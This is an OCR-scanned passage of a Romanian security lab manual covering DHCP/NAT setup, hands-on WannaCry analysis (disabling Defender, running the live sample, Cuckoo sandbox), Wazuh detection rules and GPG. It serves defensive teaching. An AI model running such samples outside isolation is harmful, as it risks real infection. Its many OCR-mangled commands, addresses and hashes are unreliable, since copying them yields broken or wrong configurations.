Masina virtuala internet va actiona, de asemenea, ca un server DHCP, deci trebuie sé o configurdm.
Activati isc-dhep-server de uncommeting urmatoarele linii in fisierul "/ete/default/isc-dhep-server”.
In exemplul nostru, interfata "enp0s3" conecteazi masina la topologia GNS3. Vi rugim s schimbati
numele in functie de configuratia dvs.
DHCPDv4 CONF =/etc/dhep/dhepd.cont
DHCPDv4 PID =/var/run/dhcpd.pid
INTERFACESvd ="enplOs3™
Apoti, trebuie sa configuram intervalul de adrese utilizat de serverul DHCP pentru a-gi servi clientit.
In acest exemplu, folosim reteaua 172.31.0.0/24, cu contracte de leasing de la 172.31.0.100 la
172.31.0.200. Inlocuiti fisierul "/ete/dhep/dhepd.cont™ cu urméitorul si apoi porniti procesul de server
DIHCP.

root@internet:/# cat /etc/dhep/dhepd.cont
default-lease-time 86400;
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max—lease—time 8&6400;
subnet 172.31.0.0 netmask 255.255.255.0 {
range 172.31.0.100 172.31.0.200;
opfLion domain-name "nsss.school";
cption domain-name-servers 8.8.8.8;
option. routers 1712, 310,15
}
root@internet:/# sudo systemctl enable isc-dhep-servern
root@internet:/# sudo systemctl start isc-dhep-server
Puteti verifica starea serviciului cu urmatoarea comanda, Retineti ¢d protocolul DHCP utilizeazi UDP
ca protocel de transport.
rootl@internet:/# netstat -nlpu
Active Internet connecticns (only servers)

FProte Recv-0Q Send-0 Local Address Foreign Address
State PID/Program name
udp 2176 g 0.9.0, 087 0.0.0,0:%

1304/dhepd
Acum puteti porni serverul Ubuntu din topologia GNS3 si verificati daca a obtinut o adresa 1P de pe
server (utilizati comanda "ip address show"). Puteti forta un mesaj de solicitare DHCP utilizand
comanda "dheclient <interface>" de pe masina virtuald Ubuntu. Vizualizati adresa [P inchiriatd pe
computerul internet.
root@internet:/var/log# cat. FAvar/lib/dhcep/dhepd.leases
(o]
leage 172.31.0.100 {
starts 5 2018/08/17 21L:86:21;
ends b 2018/08/17 21:46:21;
tetp B 2018/08/ 14 Bl 6121 ;
cltt b 2018/0B/ W €M 36:21;
binding state active;
[o..]

client-hostname "ubuntu";

[~J 1

}
Ultimul pas cu configuratia noastra este de a crea configuratia de traducere a adreselor de retea care
va permite accesul la Internet din interiorul maginu virtuale. Pentru acest pas presupunem cd adresa
IP a interfetei orientate spre Internet este obtinuta prin DHCP si placa de retea cu care se confrunta
reteaua internd are o adresa IP statica. In exemplul nostru, interfata "enp0s3 " este conectati la refeaua
locald, in timp ce "enp0s8"” conecteaza masina virtuala la Internet. Emiteti urmétoarele comenzi.
rootl@internet:/# iptakbles -t nat -A POSTROUTING -o enpls8 -7
MASQUERADE
root@internet:/# iptables -A FORWARD -1 enpOs3 -j ACCEPT
Ar trebui sa puteti accesa Internetul de pe magina Ubuntu in topologia GNS3.
Regulile care sunt create folosind iptables nu sunt stocate dupd o repornire a maginii virtuale. Pentru
aceasta, trebuie si credm un script care va stoca persistent regulile iptables s1 va f1 lansat la pornirea
sistemului.
rootédinternet:/# cat /eto/network/iptables
#1/bin/sh
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echo "Leoading Network Translation rules..."

logger "Leading Netweork Translation rules..."

/ebin/iptakbles-restore << EOF
# Generated by iptables-szsave v1.6.1 on Sat Aug 18 11:48:51 2018
*nat
:PREROUTING ACCEPT [48b:32751]
:INPUT ACCEPT [465:30630]
:OQUTPUT ACCEPT [9:899]
YPESTREVTING ZIECEPT [Hib595]
=8 POSTROUTING -o enplOst -3 MASQUERADE
COMMIT
# Completed on Sat Aug 18 11:48:51 2018
# Generated by iptables-save v1.46.1 on Sat Aug 18 11:48:51 2018
=k e
:INPUT ACCEPT [20€1:142013]
: FORWARD ACCEPT [8672:29075020]
:OUTRPUT ACCEPRPT [lo2l:162418]
-A FORWARD -1 enpls3 -] ACCEPT
COMMIT
# Completed on Sat Aug 18 11:48:51 2018
EOF
Trebuie sa facem script-ul anterior executabil.
root@internet:/# chmod +x /ete/network/iptables
Aici, folosim utilititile “iptables-save” si "iptables-restore” pentru a permite stocarea persistentd a
regulilor. Putefi emite in orice moment comanda "iptables-save” pentru a afisa regulile care rulecaza
in prezent.
Pentru a porni seriptul la momentul rulérii, trebuie sa credm un serviciu userspace utilizand managerul
de servicii sistemat instalat in Ubuntu 18.04. Urmitoarele comenzi vor afisa serviciul nou creat si il
vor activa, facand astfel iptable-urile persistente dupa o repornire.
root@internet:/# cat /etc/systend/systen/internet-rules.service
[Unit]
Desgription = Basic Internst connectivity

[Bervice]
Type=cneshot
ExecStart=/etc/network/iptables

[Install]
WantedBy=network-pre.target
rootl@internet:/# systemctl enable internet-rules
Created symlink /etc/systemd/system/network-
pre.target.wante/internet-rules.service —
Jetco/ayatemd/system/internet-rules.service.
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Cap. 2 Securitatea dispozitivului final

2.1 Analiza manuala a malware-ului

Tn acest capitol vom analiza un esantion de malware pe masina virtuala Windows. Inainte de a incepe,
trebuie sa configuram Windows astfel incat sa permita rularea malware-ului. Deschideti masina
virtuala Windows gi asigurati-va ca nu este conectatd la reteaua locald si are acces la Internet prin
interfata NAT (nu punte). Dezactivati protectia aparatorului Windows (Setari Windows->Update &
Security->Windows Security->Virus & threat protection->Virus & threat protection Seftings-
>Turnati protectia in timp real).

i r Dot enae tacure, [ rree

< |
i

% Virus & threat protection settings

Real-time pratection
© Fent vever protntios 1 lemaneg Yo e e alse
@) o

Fig.2.1 Dezactivati protectia impotriva virusilor si amenintirilor Windows Defender
1Y IMPORTANT!!! Daca refeaua VM este conectatd la refeava computerului, este posibil ca
computerul sa se infecteze in timpul acester activitati de laborator. Creati un instantaneu pentru VM
inainte de a continua.
Descarcati fisiercle esantion ale oricarui malware. Vom prezenta cum sa facem acest lucru pentru
ransomware-ul WannaCry. Pentru o mai buna intelegere a modului in care se poate proceda cu o
astfel de investigatie, laboratorul presupune, de asemenea, cid afi primit 10 fisiere, unul fiind
ransomware-ul s1 celdlalt 9 benign. Asigurati-va cd programul Hacker resurse este mnstalat.
Administratorul de retea v-a pus la dispozitie 10 figiere care par suspecte si care sunt prinse de
echipamentul de securitate a refeler. Treaba ta este sa stabilegti daca exista vreun fisier suspect si sa
afli cat mai multe informatii despre acesta. Completati urmitoarele date pentru fiecare fisier. Incercati
sd faceti acest lucru utilizand un script PowerShell.

Filename | Tipul de figier | Nume fisier original Date MD3
(EXE, DLL, (Proprietafi -= Detalii) | modifica | hash
etc) te

Urmitorul script va va permite sa adaugati detaliile mai rapid pentru orice numar de fisicre.
foreach(zfile in Get-ChildItem test)
{ $file.Name; bash.exe —-c¢ "cod test;
file 's({3file.Name)'";
ile.VersionInfo | £l -Property OriginalFilename;
S({Get-Item %$file.Fullname).lastwritetime;
5(Get-FileHash $file.FullName -Algorithm MD5) .Hash}

rmie . s
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output:
testll.exe

test0l.exe: PE3Z2+ executable (GUL) x86-64, for M3 Windows
OriginalFilename : diskpart.exe
Wednesday, January 1, 2020 1Z:00:00 AM
CD3B253FAAEGZ2CODUECSCF4S6FDEOS3E
Informatiile anterioare sunt suficiente? Chiar ajuti? Putem folosi programul WinMergePortable.exe
si putem compara "testl.exe"” cu "test2.exe". Dupd cum se poate observa in figurd, doar un octet
specificand numarul versiunii este diferit in cele doud executabile. Singura modificare care poate fi
vazuta in detaliile figierului este versiunea figierului, 6.1.7601.17514 pentru test01.exe fata de
6.1.7601.17515 pentru test02.cxe.

-4

—_— e ———— = - " = 3 e

Fig. 2.2 WinMergePortable figier diferit
O abordare mai bund ar fi sid le compardm hash-urile. Hash-ul MD35 al testuluill.exe este
CD3B253FAAEG2CODOECSCF436FDFO83E, in  timp ce hash-ul testului02.exe este
B97D6A2234092C60F 13CDCBSDF A4BEGE, prin urmare exista o mare diferentd intre cele doua.

W el eve Propemes X ]

B teall e Propesties -

ey Corpdily ety

Fig. 2.3 Diferentele dintre testO1.exe si testO2.exe

Apoti, procesul de analizd manuald ar trebui sd continue cu executarea fiecirui fisier individual $i sd
vadi comportamentul acestora. Inainte de a face acest lucru, putem folosi comanda de fisier din bash
sau bash.exe -c¢ din PowerShell si sa descoperim daca figierele sunt DLL-uri, EXE sau de alt format.
In inspectia noastrd, 9 din cele 10 programe sunt benigne, unul dintre ele incepe programul de
calculator al Windows, 1ar celelalte sunt DLL-uri simple. Cu toate acestea, unul dintre programe,
test06.exe, va porni un ransomware pe masina virtuald. Notafi toate informatiile pe care le putefi in
timpul infestari.

wES . €
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De exemplu, putem vedea cd ransomware-ul va marca folderul din care a fost pornit ca ascuns, va
extrage unele sarcini utile, mclusiv un server proxy TOR si va afiga un mesaj de infectie.

# ‘Wana Decryprde 2.0 b

Qoops, your files have been encrypted!

What Happened to My Computer?
Your importara files are sncrypted
documangs photos, videos, databases and other fie1 are no longer
coues they have been encrypted Maybe you are busy Jook g for 4 way to
recover your files, but do not waste your time. Nobody can recover your files without
CAT RCTYRLion service

Can | Recover My Files?
Wt L Lo Sure. We guarantes that you canrecover all your fles safely and vasdy. But you have
ot 50 encagh time

Time Lok '|'r'u an decrypt some of your Nies for free. Try now by clicking <Decrypt>

> c But if you wartt to '.‘m.r"p* all your files, you need to pay

You ardy have 3 dayi 1o m‘lm tthe payment. After that the price will be mm..r-

Alzo, ¥ you don't pay in 7 days, you wen't be able to recover your £

v e

EEeslorever

‘We will have free events for users who are 1o poor that they coaldn't pay i & months
Your files w

How Do I Pay?

Paymert is accepted in BRcoin only. For more irfarmation, click <About bitcoin>
Please check the current pri ¢ of Bitcoin and buy some bcoins. For mare iformation,

N2V 0337

Time Left

e s (34 4 send the ol amount to the address specified n this window

click «Check Paymant ». Best time to check: 00am - 11:00am

| 128 YDP gwueZ9hNyMgedi 19pT AAS s )rE Shiw

Fig. 2.4 Execufia wannacry
Mai mult decat atat, esantionul de malware va incerca sa elimine orice fisiere de rezerva sau
instantanee de pe computer pentru a preveni recuperarea lor de citre utilizator.
i Lt x

Do you want to sllow this spp to make
changes to your device?

. Windows Command Processors

Werdena prlsiiber Whorouel Wiediows

Frogram RCaten "L W0oen’ VWIS (mad eae”
VLRI St VeI (88 TR A aes shadows oy
dricta & bodedht et Waela f1) Doststanpoicy
A Ra b B DO el et e overpesaled
& whisSmin deine Lililog Lt

Lol No

Fig. 2.5 Modificari malware Wannacry
Ransomware-ul wannacry incearca sa cripteze toate fisierele de pe computer si taxeazi utilizatorul
final pentru bani dacd doreste sd le recupereze. Ar trebui sd vedeti cd folderul care stocheaza
ransomware-ul a fost ascuns, iar alte fisiere au apirut pe ecran. Daca incercali sa creati un figier text
in directorul Documente, dupa un timp acesta va fi criptat.
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Fig. 2.6 Exemplu de figier text criptat in cadrul testului.txt. WNCRY
In acest moment, computerul este infectat si ancheta ne cere si revenim la masina la instantancul
anterior creat. Retfineti ca vom repeta procesul, deoarece dorim sd monitorizam diferite aspecte ale
malware-ului.
Sa incepem prin a ne uita la conexiunile de retea ale malware-ului. Pormiti Wireshark nainte de arula
malware-ul gi salvati capturile. Ulterior, putem copia/lipi figsierul pcap in afara VM si il putem analiza.
Investigatia noastra arata ca malware-ul nu incearca sa faca conexiuni DNS sau HTTP (acest lucru se
datoreaza faptului ca esantionul este latent, puteti gasi un raport despre malware-ul real aici [38]). Cu
toate acestea, in experimentele noastre malware-ul a fost incercarea de a deschide mai multe
conexiuni TCP cu servere diferite. Toate conexiunile TCP au fost convertite in TLS, 1ar datele au fost
criptate. Majoritatea conexiunilor au fost create prin intermediul retelei TOR.
Alte instrumente care pot fi utilizate pentru a inspecta traficul sunt netstat TepLogView. Mai intai, va
permite si pornifi instrumentul netstat pentru a vizualiza numele procesului care a deschis o
conexiune. Putem folosi 1 ca interval pentru reimprospitarea conexiunilor i -n pentru a dezactiva
interogdrile inverse DNS. Trebuie sa deschidem PowerShell cu privilegit de administrator.
P @il xMcstatat ~nbot 1
Actiwe Connections
Proto Local Address Foreign Address State FID
[o..]
TEE 127 8l 1.5 4855 TET8x BT 050 ESTABLISHED 1380
[@WanaDecryptorld. exe]
Utilitarul TepLogView este foarte util pentru o analiza corecta a conexiunilor create de malware,
porniti-1 inainte de a rula ransomware-ul. Aici, puteti vedea cd malware-ul a creat un folder local
numit TaskData, care define o aplicatie proxy tor. Puteti ciuta punctul final de la distanta prin
intermediul servicului Cisco Talos Intelligence g1 puteti vedea care este reputatia lor.
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Fig. 2.7 TepLogView Wannacry conexiuni deschise

In afard de accesul la retea, un malware va incerca sa se facd greu de gisit si de eliminat, adaugind
diferite mtrart de registry. Putem folosi instrumentul Procmon pentru a monitoriza intririle din
registrele efectuate de malware. Pornifi instrumentul procmon inainte de lansarea malware-ului si
asigurati-va cd monitorizeaza toate datele. Apoi, rulafi ransomware-ul si asigurati-va ca corupe
sistemul, agteptati 2-3 minute si ca un figier sa fie criptat. Apot, salvati datele utilizand Native Process
Monitor Format (PML) si toate evenimentele din captura (nu numai cele filtrate). Pentru a vizualiza
registrul de configurare a timpului de incircare, addugati un filtru care face variabila "Cale” egald cu
"HEKCU\Software\Microsoftt Windows\CurrentVersion'\Run", ar trebui sd vedefi intrarea de registry
[59].

SHAR YA A ALLE

e
sasammns

Fig. 2.8 Vizualizarea de registry ProcMon a Wannacry
Deschideti utilitarul regedit si navigati la calea anterioarid. Vom vedea o intrare pentru executabilul
"taskche.exe", care este un nume folosit de Wannacry pentru a aparea ca un proces de sistem de

operare. _
w -

Fig. 2.9 Regedit pentru intrarea cizmei1 Wannacry
Folosind datele anterioare salvate (sau re-rularea instrumentului procmon) ne putem uita, de
asemenea, la fisierele create g1 deschise de malware. Esantionul de malware va incerca si creeze
figiere diferite pentru uz propriu si sa monitorizeze fisierele existente pentru a le cripta si a cere
rascumparare. Putem crea un filtru in instrumentul procmon si sa cautam cuvantul "tor.exe”. Mai mult
decat atdt, pentru a vedea toate figierele create de ransomware, creafi un filtru care afiseaza numai
fisierele create de un anumit nume de proces.
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Fig. 2.10 Wannacry scriind fisierul tor.exe
Pentru mai multe informatii  despre malware-ul, va rugam si cadutafi hash-ul pe
"https://www.virustotal.com". Ce zici de hash noi, a facut site-ul virustotal gasit-o? De asemenea,
puteti incdrca noul figier si puteti vedea rezultatele. Incercafi sa vedeti daca puteti identifica si alte
tipuri de comportament pe care malware-ul le face in raportul de securitate furnizat.

2.2 Analiza automata a programelor malware

In timp ce analiza manuald a malware-ului este obligatorie pentru a intelege mai bine utilizarea
software-ului, datoritd cantitifii mari de date este necesar un mecanism automat. Cuckoo sandbox
este un sistem care utilizeazi tehnologii de virtualizare pentru a lansa software-ul intr-un mediu
confinut §1 pentru a-gi inregistra modelele de acces (pentru refea, fisiere ete.) [60].
Vom investiga acelasi esantion de malware ca in capitolul anterior folosind cutia cu nisip cu cuc. In
primul rand, asigurati-va ca instalati cadrul si descarcati copia malware local. Mai mult decat atat,
computerul local necesitd un server X. Acest lucru este necesar, deoarece sandbox-ul cu cuc va pomni
software-ul de virtualizare de la sine. Vom folosi VirtualBox ca software de virtualizare pentru ca
malware-ul sd ruleze in interior. Mai mult decat atat, utilizarea VirtualBox va permite sandbox
Cuckoo pentru a monitoriza, de asemenea, traficul de retea.
Cuckoo sandbox poate fi rulat atdt de pe web, cat gi de pe terminal, folosim serverul web pentru o
mai bund intelegere a capacititilor sale. Porniti serviciul §i serverul web executind urmitoarele
comenzi g1 conectati-vi la browser la adresa hxxp://127.0.0.1:8000.

cuckoo web runserver

cuckoo -d

Pentru a incepe investigatia malware, trimitefi fisierele primite utilizand tabloul de bord si selectati
Analizd din pagina "Configurati analiza”. Va rugam sa configurati un Timeout de 500 de secunde
pentru a permite suficient timp pentru executie si asigurati-va cd tipul de pachet este "exe" de la
panoul din partea stanga pentru un pranz adecvat.
Odata ce procesul a inceput, ar trebui sa puteti vedea progresul in terminalul in care a fost lansat
dacmonul cucului. Mai mult decat atat, Windows 7 pre-configurat masina virtuala ar trebui sa fie
pornit, st malware-ul lansat.
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Ooops, your files have been encrypted! _

L5 P
Fig. 2.12 Captura de ecran cu cuc sandboxed VM
Observati ca agentul python din Windows 7 a lansat malware-ul i il monitorizeaza. De asemenea, ar
trebui s puteti vedea miscarile aleatorii ale mouse-ului.

Una dintre cele mai importante partt ale unui malware este de a determina daci ruleaza in interiorul
unei masini virtuale sau a unui mediu sandboxed. Pentru a face acest lucru, implementeaza unele
tehnici anti-vm g1 incearci sd determine daca artefacte de virtualizare, cum ar fi fisiere care contin
nume de produse de virtualizare bine-cunoscute (de exemplu, VMWare), intrari de registry (de
exemplu, executd masini-unelte virtuale din VirtualBox), si altele exista. Dacda malware-ul nu vede
nicio migcare a mouse-ului, este posibil sd nu se execute, deoarece determina ca a fost pornit intr-un
mediu virtual, acesta este motivul pentru care sandbox-ul cucului incearca sa reproduca migcarea.
Puteti eiti mai multe in cartea alba SANS [61] .
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Fig. 2.13 Raport sandbox cu cuc

Dupa ce raportul a fost generat, ar trebui si puteti raspunde la urmatoarele intrebari.

I

Care este formatul de fisier executabil? Care este numele de fisier original al executabilului?
(Raspuns: Tip PE32 (GUI) Intel 80386, pentru MS Windows; OriginalFilename diskpart.exe)

Care este hash-ul (de preferat sha2 familie) de malware? Puteti gisi pe hxxp:/
www.virustotal.com?( Raspuns: SHA256
ed01ebfbc9ebSbbea545af4d01bf5£1071661840480439c6e5babe820080c41aa )

Ce comandai este executatd pentru a permite accesul la toate fisierele? (Raspuns: icacls . /
grant Everyone: F/ T/ C/ Q)

Ce inregistriri DNS sunt inregistrate in timpul analizei? (Rispuns: time.windows.com,
dns.msfincsi.com.  ctldl.windowsupdate.com, ipv6.msftnesi.com, www.microsoft.com,
teredo.ipv6.microsoft.com)

Ce intrari de registry adaugi malware-ul? (Raspuns:
HKEY LOCAL MACHINE'SOFTWARE'Wow6432Node'Microsoft' Windows Current Ve

.

rsion'Runiswrozbaimxhwbr832 -> "C:\Users\cuckoo' AppData‘l.ocal  Temp'tasksche.exe")

Toate actiunile monitorizate sunt stocate de Cuc in folderul de configurare ".cuc" sub directorul de
stocare. Rastoiti folderul si gasiti in ce limbi este mesajul de asistenta de la malware-ul disponibil.

cd ~/.cuckoa/storage/analyses/1/
grep —-R "msg\/.*wnry" reports/report.json

Cuckoo sandbox are o multime de instrumente suplimentare pe care le poate folosi pentru o analiza
mai profunda, inclusiv snort IDS, IDA pentru binar sau Y ara pentru potrivirea semnaturilor. Regulile
Yara pot fi rulate impotriva binar in sine, impotriva dump de memorie sau URL-uri accesate. In acest
exercitiu vom folosi regulile Yara disponibile pe urmatorul depozit github [62]. Doar copiati-le in
directorul de configurare Yara si executati din nou analiza.

3 wget https://raw.githubusercontent.com/Yara-
Rules/rules/master/malware/RANSOM MS17-010 Wannacrypt.yar
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$ cp RARNSOM MS17-010 Wannacrypt.yar yara/scripts
S cp RANSOM MS17-010 Wannacrypt.yar yara/binaries
S ¢p RANSOM MS17-010 Wannacrypt.yar yara/memory

5 cp RANSOM MS17-010 Wannacrypt.var yara/dumpmemn

2.3 Sistemul gazda de detectare a intruziunilor

In aceasti sectiune vom ariita modul in care sistemele pot fi monitorizate folosind un sistem de
detectare a intruziunilor gazda. Pentru exemplificare am ales Wazuh, un instrument open-source care
oferd atat un agent pentru monitorizarea locald, cdt 1 un server pentru agregarea datelor [63]. O altd
optiune ar putea fi platforma OSSEC, din care a fost dezvoltat Wazuh [64].

In primul rind, trebuie si instalim serverul Wazuh pe oaspetele nostru principal. Pentru aceasta avem
nevoie doar de o magina virtuald cu Ubuntu instalat 1 acces la Internet. Serverul Wazuh (compus din
manager si API) este folosit pentru a colecta date, cu toate acestea, Kibana cu motor Elasticsearch
sunt utilizate pentru afigarea datelor, prin urmare, oaspetele nostru principal necesitd, de asemenea,
cele care urmeaza sa fie instalate. Urmatoarele comenzi sunt o sinteza a ghidului de instalare furnizat
[65].

root@wazuh-server:# apt-get update && apt-gset upgrade

root# apt-get install curl apt-transport-https lsb-release

root# curl -s https://packages.wazuh.com/key/GEG-KEY-WAZUH | apt-
key add -

root# echo "deb https://packages.wazuh.com/3.x/apt/ stable main"™ |
tee —-a /etc/apt/sources.list.d/wazuh.list

root# curl -s https://artifacts.elastic.co/GEG-KEY-elasticsearch |
apt-key add -

root# echo "deb httpes://fartifacts.elastic.co/packages/7.x/apt
stable main" | tee /etc/apt/sources.list.d/elastic-7.x.1list

root# curl ~-s https:/leartifacts.elastic.co/GPG-KEY-elasticsearch |
apt-key add -

root# echo "deb https://artifacte.elastic.col/packages/7.x/apt
stable main™ | geeypdtc/apt/solrceg.list.d/elastic—7..x.115t

root# apt-get update

root# apt-get install wazuh-manager

root# curl =sL pttps 7/ deb. nodegource . ocomysetup B.x | bash =

root# apt-get install nodejs wazuh-api

root# “apt-get install filebeat=7.1.0

root# curl -=20 Jetc/filebeat/filebeat . yml
https://raw.glthubusercontent.com/wazuh/wazuh/v3.9.1/extensicns/fi

lebeat/7.x/filebeat.yml

root# curl -50 Jete/filebeat/wazuh-template.json
https://raw.githubusercontent.com/wazuh/wazuh/v3.9.1/extensions/el

asticsearch/7.x/wazuh—-template. json

root# vim /etc/filebeat/filebeat.yml (replace YOUR SERVER IP)

root# apt-get install elasticsearch=7.1.0

root# apt-get install kibana=7.1.0
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root# sudo -u kibanza /Jusr/share/kibanza/bin/kibana-plugin install

https://packages.wazuh.com/wazuhapp/wazuhapp-3.9.1 7.1.0.zip
root# vim /etc/kibanaskibana.yml (server.host: “0.0.0.07)
Asigurati-va ¢a Kibana ruleaza, pluginul Wazuh este instalat corect accesand consola din browser
(hxxp://VM_IP:5601). Numele de utilizator si parolele implicite sunt "foo" g1 "bar",
Apoti, trebuie sd adaugdm un agent. Vom adauga atat un agent Linux, cat s1 Windows. Vi rugim sa
le instalati, pentru Linux urmati pasii de mai jos:

rootl@wazuh—-agent:# apt—-get install curl apt-transport-https lsb=

release

root# curl -s https://packages.wazuh.com/key/GEPG-KEY-WRAZUH | apt-
key add -

root# "deb https://packages.wazuh.com/3.x/apt/ stable main" | tee

Jetc/apt/sources.list.d/wazuh.list
root# apt-get update

root# apt-get install wzzuh-agent
Acum, putem asocia agentul cu serverul nostru. Acest lucru este necesar pentru a pastra toate jurnalele
intr-o manierd centralizata. Mai intdi, creati un cont nou pentru agentul de pe server, generati o cheie
de asociere gi importati-o pe client. Faceti acelagi lucru pentru ambii agenti.
wazuh-server# /var/ossec/bin/manage agents -a any -n ubuntu-ag
wazuh-server# /var/ossec/bin/manage agents -1
wazuh-server: /home/student# /var/ossgc/bin/manage_agents -= 001
Agent key information for '00O1l' ig:
MDAXIHVidW50dS1hZ yBhbnkgNT JmN Y 2MiMINDgLNT c40DQ5Y M3 Z TUON J§ N JKMIR
QxMNMZINTY v2DhIkMIM4AY zY 2Y WU I NWY SMzk 1MGN 1 OTVkNQ=—
wazih—-agent # /var/ossec/bin/manage agents =1
MDAxIHVidW50dS1hZyEhbnkgNT JmNj ¥2M{M1NDg1NTc4ODQ5YTM3Z TUON J4 Ni TkMW
OxNmZJNTY vADhkMIM4AY zY z¥YWILNWY SMzk IMGN 1 OTVRNG==
wazuh-agent# vim /variogsgee/etc/ogsec.conf (change the IP of the
server)
Acum, ar trebui sa puteti vizualiza diferite actiuni pe pagina web.

(B BTHRESE =-F -t 5 o \ * Mo @ ;
* enei [ witesita @ et Pice Baie. B Guewien Seem €. Y ot o e B htinrmmaaish. P i e

8
0 Hame ] e Croup O rame 08 varsian arsion Ragistraten dats Lastheap slive Betans

M ubortsag  MAAIS Amve delsut s W4 10T Wz IR F0TRONIRNRAT

Fig. 2.14 Pagina web Kibana si Wazuh
Incercati sd scanati agentul de pe server (acest lucru ar trebui sa genereze o alertd de scanare) sau si
va conectafi utilizand acreditari incorecte prin SSH. Pe Windows, citifi fisierul de configurare si
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descoperiti ce directoare sunt monitorizate in timp real. Adaugati un figier in acel director s1 vedeti
daci actiunea este inregistrati. Puteti afla ce directoare sunt monitorizate in timp real witandu-va in
fisierul de configurare al agentului Windows.
View->»Config:
<directories check all="yes" realtime="yesg">
2 PROGRAMDATA% \Microsoft\Windows\Start Menu\ Programsh\Startup
</directories>
Wazus utilizeaza reguli g1 decodoare pentru a crea alerte pe baza jurnalelor [66]. Putefi crea o reguld
simpla care va declansa o alerta de nivel 16 daca se creeaza un fisier cu extensia ".wnery".
<rule id="100002" level="16">

<if s1d>554</if sid>

<regex>File '"{(\.+).wncry' was added.</regex>

<desgcription>This 18 a custom rule to detect .wnory extention in
files.</description>

</rule>

Dupa adaugarea regulii, serviciul wazuh-manager trebuie repornit pentru ca acesta sa reincarce setul
de date de reguli. Puteti utiliza comanda "/var/ossec/bin/ossec-logtest”" pentru a verifica daca o
anumitd reguld se potriveste cu o intrare de jurnal. Cand este generat un figier care corespunde regulii,
puteti vizualiza detaliile in tabloul de bord Kibana.

hin  JSON

o6

Fig. 2.15 Potrivirea regulilor Wazuh personalizate in tabloul de bord Kibana

2.4 TOR - adaugarea de confidentialitate

Confidentialitatea este de obicei inclusad in peisajul de securitate mai larg, dar se ocupi de aspecte
care 11 preocupa mai mult pe oameni decat tehnologiile si incearca sa raspunda la o intrebare foarte
durd: "Cum sa accesati / calculati date fird ca proprietarul si stie cine sunteti?". In timp ce, ca orice,
este o sabie cu doud lame, incearcd sd permitd oamenilor sd detind datele lor in lumea digitald g1 sa
ofere anonimatul in timp ce navigheazi pe Internet.

in prima parte a acestui capitol vom arita cum si folosim protocoalele criptografice pentru a permite
un web de incredere folosind standardul OpenPGP, in timp ce a doua parte analizeaza modul in care
anonimatul poate fi realizat pe Internet.
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In primul rand, si creim trei noi utilizatori pe masina virtuald internet, le vom folosi pentru a arita
cat de diverse metode de anonimat pot fi create.
sudo adduser red

sudo adduser green

sudo adduser blue
Open Pretty Good Privacy (OpenPGP) este un standard de criptare care peoate {1 utilizat pentru
autentificarea intr-o manierd distribuita [44]. GNU Privacy Guard (GPG) este o implementare open-
source a standardelor PGP [45]. Vom ardta cum sd trimiteti un figier criptat de la un utilizator Ia altul.
In primul rand, trebuie si generiim o cheie privati /publicd folosind instrumentul gpg pentru ficcare
dintre cei tre1 utilizatori creafi anterior.

gu - blue
dpg —--gen-key

su — red
gpg —--—gen-key

s - green

geg ——gen-key
Acum, sd enumeram toate cheile si sd le salvam ID-urile. Descrierea campurilor este disponibila
online [46]. Vom trimite cheia publicd a lui Red la verde. Exportati-1 intr-un format de fisier ASCII
si importati-1 in contul green. Dupa importul cheii, ar trebui si o listati si sd verificati de doud ori
daci a fost stocatd in inelul public. In acest moment cheia nu este inci de tncredere, vom face acest
lucru intr-un pas viitor.
Sgudo cp /home/red/pub red.asc /fhome/green/.
Ssudo chown qreen:green_7home/green/pub_red.asc
greens gpg —--list-keys
/home/green/ . .gnupg/pubring. gpg
pub 2048R/13CT3580 2022-04-23
uid green <greenlcs.pub.ro>
sub 204BR/FICIFFOL 2022-04-23

pub Z048BR/860244A1 2022-04-23
uid red-student <red@cs.pub.ro>
sub 204BR/ETG6Z26ADD 2022-04-23
Acum, green poate folosi cheia publica a hui red pentru a-1 autentifica si a trimite un fisier criptat.
Sa eream un figier care contine un mesaj secret, sa-I criptim si si-1 trimitem celeilalte parti.
green$ ccho "this 1g a secret message" > sgcret files.txt

greRivg dpg ——encrypt ~—recipient redles.plbwro secret file.txnt
gpg: E76Z6ADD: There is no assurance this key belongs te the named
user

pub  Z2048R/EVG26ADD 2022-04-23 red-student <redfes.pub.ro>
Erimary key fingerprint: 9h0D 2356 FZDB B4D7 F4FC SBRBZ EBB86 53C35
8602 44A1
Subkey fingerprint: FO7B EFBEB 284A 99F3 10BEF DS64 517A 10DE
E76Z 6ADD

Iz i
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in the user ID. If you *really* know what you are doing,

you may answer the next guestion with ves.

Use this key anywav? (v/N) v
greenfisc:~3 1ls
pub red.asc gecret file.txt gecret file.txt.gpg
5 sudo cp /home/green/secret file.txt.gpg /home/red/.
$ sudo chown red:red /home/red/secret file.txt.gpg
$ su — red
Password:
red$ ls
pul_red.age Beorgt fletRt.gng
reds gpg =-decrypt secret file.txt.gpg
gpg: encrypted with 2048-bit RSA key, ID EV7626ADD, created 2022-
04-23
"red-student <red@cs.pub.ro>"
this 1s a secret messags
Daca dorim sd credm un canal de Incredere intre toate cele trei conturi de utilizator pe care le-am creat
anterior, trebuie sa ne asiguram ¢ unul dintre ele este de incredere pana la ambele capete. Vom folosi
verdele ca legatura de incredere intre cele doud. Verdele trebuie sd semneze in primul rind cheia
rosie si si exporte atat cheia, cat si rosu in albastru. Mutati fisierele exportate in directorul albastru
s1 importati-le. Dupa ce s-a ficut importul, listati cheile disponibile la albastru. Refineti ¢ procesul
de semnare implicd de obicei verificarea manuald a amprenter digitale a cher.
green@$ gpg --=gign-key red@cs.pub.ro
green@s gpg --export +a @reenfecs.pub.ro > pub green.asc
green@sS gpg —--export -a redlcs.pub.ro >
puby red signed by green.asc
greenisc:~3 exit
logout
S sudo gp /home/green/pub green.asc /home/blue/
student@isc:~$ sude cp /home/green/pub red signed by green.asc

/home/blue/
student@isc:~5 su - blus
blue®s gpg ——inport pub greefi.asc
blue@isc:~% gpg —-import pub red signed by green.asc

bluelisc:~5 gpg —--list-key
/home/blue/ . gnupg/pubring. gpg
pub Z04BR/CICDY1EF 2022-04-23
uid blue-student <bluslcs.pub.ro>
sub 2048R/0F45CRB72 2022-04-23

puk 2048R/13CT30H80 2022-04-23
uid green <greenlcs.pub.ro>
sub 2048R/FLICIFFOA 2022-04-23

pub Z04BR/ 86024481 Z2022-04-23
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uid red-student <red€cs.pub.ro>

sub Z048R/ET7626ADD 2022-04-23
Acum, albastrul ar trebui sa marcheze cheia verde ca fiind de incredere (prin semnarea acesteia).
Dupi aceasta, in calitate de utilizator rosu, vom crea un figier cu un mesaj important si il vom semna
(nu-1 criptati pentru acest pas). In final, transferim figierul in albastru, citim figierul si verificim
semnatura.
reds echo “this is an lmpertant message” & loportant i les.txb
red$ gpg —-sign important file.txt
red$ exit
